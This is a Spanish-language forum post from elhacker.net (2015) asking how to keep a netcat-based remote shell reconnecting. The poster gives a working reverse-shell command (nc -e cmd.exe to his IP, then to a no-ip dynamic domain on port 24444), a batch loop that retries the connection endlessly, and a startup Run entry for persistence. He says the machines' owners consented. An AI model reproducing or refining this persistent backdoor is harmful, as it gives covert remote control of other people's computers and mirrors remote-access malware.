elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Foros Generales
| |-+  Dudas Generales (Moderador: engel lex)
| | |-+  Problema con NO-IP y Netcat
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con NO-IP y Netcat  (Leído 1,662 veces)
Skali

Desconectado Desconectado

Mensajes: 100



Ver Perfil
Problema con NO-IP y Netcat
« en: 9 Agosto 2015, 02:49 am »

Hola gente que tal! Les cuento mi problema! Un par de personas me dieron acceso a sus máquinas para que las supervise, las mantenga limpias, y las administre. Instale el Netcat y lo dejo en "habla" digamos a un puerto mio y mi direccion de IP, ejemplo del comando:

nc -e cmd.exe 192.188.1.231 24444

Tambien dentro del directorio run deje una entrada para que el netcat se inicie al arrancar la computadora... Uno de los problemas (que solucione) es que el comando se ejecutaba una sola vez y si yo no dejaba mi netcat en escucha, ya no habia forma de volver a conectarme, entonces programe un simple algoritmo de polling con batch para que el comando se ejecutara siempre que la pc estuviera prendida. Quedo algo asi:

Set/a var=0
:while
nc -e cmd.exe 192.188.1.231 24444
if %var% == 0 (goto while)
pause

Ahi funcionaba perfecto. Si no estaba en escucha, el programa itera interminablemente hasta que yo estuviera en escucha y si me desconecto continuaba iterando y podía volver a conectarme. El problema es que mi IP pública es dinámica asi que tuve que reemplazar mi ip por el dominio DNS que me dio NO-IP, quedando algo asi:

Set/a var=0
:while
nc -e cmd.exe randon.ddns.net 24444
if %var% == 0 (goto while)
pause

Mi problema actual es el siguiente: Si yo no tengo abierto el cliente DUC, en los remotos se entra una sola vez al comando del netcat y se muere ahi, no continua iterando... Enonces si despues abro el DUC, no tengo forma de acceder... Si tengo abierto el cliente antes de que se ejecute el batch, funciona a la perfección: si no estoy a la escucha con netcat, iteran, y si estoy a la escucha acceden, y cuando me desconecto siguen iterando... Una solución sería dejar mi PC prendida las 24 horas con el cliente DUC abierto, lo cual no me agrada... Lo que quería hacer, es un algoritmo que verifique si me pude conectar, si hay conexion, o que se de cuenta si mi cliente este abierto o no, y en caso de no estarlo que salga del netcat y le seda nuevamente el control al batch para que siga iterando como tendría que ser...

Espero que me ayuden a implementar éste algoritmo, que me den alguna idea... No me hagan usar otra cosa que no sea Netcat, xq estoy encariñado con éste :p jaja. Y se que tiene que existir una solucion para conseguir lo que busco. Espero que me hayan entendido y sepan como ayudarme! Desde ya, muchisimas gracias! :D


« Última modificación: 9 Agosto 2015, 02:57 am por Skali » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con NetCat
Hacking
danny23 2 2,365 Último mensaje 27 Mayo 2011, 17:20 pm
por dantemc
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines